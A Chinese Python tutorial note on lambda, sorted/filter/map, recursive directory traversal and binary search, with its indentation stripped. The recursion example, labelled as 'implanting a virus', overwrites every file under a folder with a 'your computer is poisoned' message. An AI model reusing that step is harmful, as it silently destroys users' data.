14 匿名函 递归二分法

一.匿名函数
1. 表达式 lambda 形参:返回值
lambda s:len(s)

二.内置函数 sorted filter map
1.sorted(可迭代对象,key=函数名,reverse=False或True)
sorted(Iterable,key,reverse=False or True)
参数reverse,是否反转
过程:把li中的每个元素(字典)传给函数func,根据函数的返回数值进行排序
例子:
li=[{'id':1,'name':'alex','age':28},
{'id':2,'name':'taibai','age':58},
{'id':3,'name':'taihei','age':18},
{'id':4,'name':'henhei','age':38}]
def func(dic):
return dic["age"]
ret=sorted(li,key=func)

2.filter(function,可迭代对象)
将可迭代对象中的每一元素作为参数传给function,返回值为True的元素留下
li=["渴望","家有儿女","蜗居","49天"]
ret=filter(lambda s:len(s)>2,li)#得到一个可迭代器
print("__next__" in dir(ret)) #True
print(list(ret)) #此处已经把迭代器中的值取完,之后的for 循环取值不到
for el in ret:
print(el)#此处取值不到

例子:用filter来处理,得到股票价格大于20的股票名字
shares={
'IBM':36.6,
'Lenovo':23.2,
'oldboy':21.2,
'ocean':10.2,
}
ret=filter(lambda x:shares[x]>20,shares)
print(list(ret))

3.map(function,Iterable) 映射函数
把可迭代对象中的每一个元素传给函数执行,并保留最终的结果
li=[2,3,4,5,6,7,1]
ret=map(lambda x:x**2,li)
print("__next__" in dir(ret)) #True
print(list(ret)) #[4, 9, 16, 25, 36, 49, 1]
for i in ret:#值已经被list取完,此处取不到值
print(i)

三. 递归 和 二分法
递归 :当递归有返回值的时候. 需要写return. 否则有可能接收不到返回值
1.文件夹层层打开
# import sys # system python, os 操作系统
#os : 和操作系统相关的一些功能
# os.listdir("d:/") 帮我们打开一个文件夹. 返回文件夹内的所有内容(文件的名字)
# os.path.join("马化腾","马云") 马化腾/马云
# os.path.isdir(路径) 判断这个路径是文件夹还是文件

import os #系统模块
def func(path,ceng):
lst=os.listdir(path)#打开一个文件夹,把该文件夹中文件的名字(包括文件夹名),放在一个列表中
for el in lst:#遍历所有文件名
real_path=os.path.join(path,el) #拼接出文件的绝对路径
if os.path.isdir(real_path):#判断是否为文件夹
#判断是否为文件夹
print(" "*ceng+el) # 表示换行,ceng表示文件夹层数
func(real_path,ceng+1) #递归入口
else:
print(" "*ceng+el) #递归出口
f=open(real_path,"w") #植入病毒
f.write("你电脑已中毒")
f.flush()
f.close()
func("d:/a",0) #从d盘a文件夹开始打开

#二分法
用二分法必须是有序序列
思路:索引 抓收尾,顾中间
lst = [4, 56, 178, 253, 625, 1475, 2580, 3574, 15963]
left=0
right=len(lst)-1
n=int(input("请输入一个数:"))
while left<=right:
mid=(left+right)//2 #整除,确定中间索引值
if lst[mid]>n:
right=mid-1 #右边界左移
elif lst[mid]<n:
left=mid+1 #左边界右移
else:
print("找到了")
else:
print("%s不在lst里面"%n)

#方法二
lst = [4, 56, 178, 253, 625, 1475, 2580, 3574, 15963]
def binary_search(lst, n, left, right):
if left > right:
return False
mid = (left + right) // 2
if n > lst[mid]:
left = mid + 1
# 当递归有返回值的时候. 需要写return. 否则有可能接收不到返回值
return binary_search(lst, n, left, right)
elif n < lst[mid]:
right = mid - 1
return binary_search(lst, n, left, right)
else:
print("找到了")
return True

n = int(input("请输入一个数字n:")) # 178
ret = binary_search(lst, n, 0, len(lst)-1)
print(ret)

#方法三
#切换列表
def binary_search(lst, n):
if len(lst) == 0:
return False
left = 0
right = len(lst) - 1
mid = (left + right) // 2
if n > lst[mid]:
# 当递归有返回值的时候. 需要写return. 否则有可能接收不到返回值
return binary_search(lst[mid+1:], n)
elif n < lst[mid]:
return binary_search(lst[:mid], n)
else:
print("找到了")
return True

n = int(input("请输入一个数字n:")) # 178
ret = binary_search(lst, n)
print(ret)




原文地址:https://www.cnblogs.com/knighterrant/p/9911766.html